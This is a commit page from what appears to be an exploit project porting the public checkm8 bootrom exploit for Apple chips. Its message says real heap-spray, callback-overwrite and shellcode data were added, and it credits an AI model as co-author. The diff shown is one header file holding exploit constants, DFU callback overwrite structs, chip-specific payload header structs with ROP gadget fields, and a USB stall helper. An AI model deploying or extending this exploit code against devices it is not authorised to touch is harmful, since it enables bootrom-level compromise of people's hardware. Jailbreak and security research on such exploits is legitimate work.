feat(exploit): Replace checkm8 placeholders with real exploit data

Updated exploit stages with actual USB transfer sequences from gaster.
Added real callback overwrite structures, magic constants, and heap
spray logic (both large_leak and no-leak paths). Replaced shellcode
placeholders with actual ARM64 and ARMv7 bytes from ipwndfu binary.
Payload assembly now builds correct per-chip header structs using
the full chip_db offset table.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
tr4m0ryp 2026-04-05 02:47:24 +02:00
parent e2f936d6b7
commit 369e6bcbfa
10 changed files with 860 additions and 447 deletions

View file

@ -1,33 +1,168 @@
/* checkm8_internal.h -- Shared constants and helpers for checkm8 split files */
/* checkm8_internal.h -- Shared constants, types, and helpers for checkm8 */
#ifndef CHECKM8_INTERNAL_H
#define CHECKM8_INTERNAL_H
#include <stdint.h>
#include "exploit/exploit.h"
/* Heap spray parameters (from gaster analysis) */
#define SPRAY_COUNT 26 /* Number of spray transfers */
#define SPRAY_SIZE 0x800 /* Size of each spray chunk (2 KiB) */
/* ------------------------------------------------------------------ */
/* Magic constants from gaster */
/* ------------------------------------------------------------------ */
/* Stall timeout for mid-stream abort (microseconds) */
#define STALL_USEC 100000 /* 100 ms */
#define EXEC_MAGIC 0x6578656365786563ULL /* "execexec" */
#define MEMC_MAGIC 0x6D656D636D656D63ULL /* "memcmemc" */
#define DONE_MAGIC 0x646F6E65646F6E65ULL /* "donedone" */
/* Maximum attempts for the full exploit sequence */
#define MAX_EXPLOIT_TRIES 3
/* ------------------------------------------------------------------ */
/* DFU transfer constants */
/* ------------------------------------------------------------------ */
/* Short delay between exploit stages (microseconds) */
#define STAGE_DELAY_USEC 10000 /* 10 ms */
#define DFU_FILE_SUFFIX_LEN 16
#define DFU_MAX_TRANSFER_SZ 0x800
#define EP0_MAX_PACKET_SZ 0x40
/* CPID values for ROP chain selection */
#define CPID_A10 0x8010
#define CPID_A10X 0x8011
#define CPID_A11 0x8015
/* ------------------------------------------------------------------ */
/* Exploit tuning parameters */
/* ------------------------------------------------------------------ */
#define MAX_EXPLOIT_TRIES 3
#define STAGE_DELAY_USEC 10000 /* 10 ms */
#define STALL_TIMEOUT_MS 1 /* 1 ms async stall */
#define USB_TIMEOUT_MS 5000
/* ------------------------------------------------------------------ */
/* CPID classification helpers */
/* ------------------------------------------------------------------ */
/* ARMv7 32-bit chips (payload_dest_armv7 != 0) */
#define CPID_IS_ARMV7(cpid) \
((cpid) == 0x7002 || (cpid) == 0x8002 || (cpid) == 0x8004)
/* A9-class chips that use the TTBR0 payload variant */
#define CPID_IS_A9_CLASS(cpid) \
((cpid) == 0x8950 || (cpid) == 0x8955 || (cpid) == 0x8947)
/* Chips with ROP gadgets (tlbi != 0 means newer overwrite path) */
#define CPID_HAS_TLBI(chip) ((chip)->tlbi != 0)
/* ------------------------------------------------------------------ */
/* DFU callback overwrite structures (from gaster) */
/* ------------------------------------------------------------------ */
/* 64-bit ARM64 DFU callback */
typedef struct {
uint32_t endpoint;
uint32_t pad_0;
uint64_t io_buffer;
uint32_t status;
uint32_t io_len;
uint32_t ret_cnt;
uint32_t pad_1;
uint64_t callback;
uint64_t next;
} dfu_callback_t;
/* 32-bit ARMv7 DFU callback */
typedef struct {
uint32_t endpoint;
uint32_t io_buffer;
uint32_t status;
uint32_t io_len;
uint32_t ret_cnt;
uint32_t callback;
uint32_t next;
} dfu_callback_armv7_t;
/* Overwrite payload wrapper */
typedef struct {
dfu_callback_t callback;
} checkm8_overwrite_t;
/* ------------------------------------------------------------------ */
/* Payload header structures (chip-specific, prepended to shellcode) */
/* ------------------------------------------------------------------ */
/* ARM64 payload header for A9-class chips (with TTBR0 modification) */
typedef struct {
uint64_t insecure_memory_base;
uint64_t patch_addr;
uint64_t memcpy_addr;
uint64_t aes_crypto_cmd;
uint64_t boot_tramp_end;
uint64_t gUSBSerialNumber;
uint64_t dfu_handle_request;
uint64_t usb_core_do_transfer;
uint64_t dfu_handle_bus_reset;
uint64_t handle_interface_request;
uint64_t usb_create_string_descriptor;
uint64_t usb_serial_number_string_descriptor;
uint64_t ttbr0_addr;
uint64_t ttbr0_vrom_off;
} payload_hdr_a9_t;
/* ARM64 payload header for A10+ chips (with ROP gadgets) */
typedef struct {
uint64_t insecure_memory_base;
uint64_t patch_addr;
uint64_t memcpy_addr;
uint64_t aes_crypto_cmd;
uint64_t boot_tramp_end;
uint64_t gUSBSerialNumber;
uint64_t dfu_handle_request;
uint64_t usb_core_do_transfer;
uint64_t dfu_handle_bus_reset;
uint64_t handle_interface_request;
uint64_t usb_create_string_descriptor;
uint64_t usb_serial_number_string_descriptor;
uint64_t ttbr0_addr;
uint64_t tlbi;
uint64_t nop_gadget;
uint64_t ret_gadget;
uint64_t func_gadget;
uint64_t write_ttbr0;
uint64_t ttbr0_vrom_off;
uint64_t ttbr0_sram_off;
} payload_hdr_notA9_t;
/* ARMv7 payload header for 32-bit chips */
typedef struct {
uint32_t insecure_memory_base;
uint32_t payload_dest;
uint32_t memcpy_addr;
uint32_t aes_crypto_cmd;
uint32_t gUSBSerialNumber;
uint32_t dfu_handle_request;
uint32_t usb_core_do_transfer;
uint32_t dfu_handle_bus_reset;
uint32_t handle_interface_request;
uint32_t usb_create_string_descriptor;
uint32_t usb_serial_number_string_descriptor;
} payload_hdr_armv7_t;
/* ------------------------------------------------------------------ */
/* Internal API */
/* ------------------------------------------------------------------ */
/*
* assemble_payload -- Build the exploit payload (ROP chain + shellcode)
* assemble_payload -- Build the exploit payload (header + shellcode)
* for the given context's chip. Allocates ctx->payload_buf.
* Returns 0 on success, -1 on failure.
*/
int assemble_payload(exploit_ctx_t *ctx);
/*
* usb_ctrl_transfer_async -- Send a control transfer with a short
* timeout, ignoring timeout errors. Used for stall-based spray.
* Returns 0 on success or timeout, -1 on hard failure.
*/
int usb_ctrl_transfer_async(libusb_device_handle *dev,
uint8_t bmRequestType,
uint8_t bRequest,
uint16_t wValue,
uint16_t wIndex,
unsigned char *data,
uint16_t wLength,
unsigned int timeout_ms);
#endif /* CHECKM8_INTERNAL_H */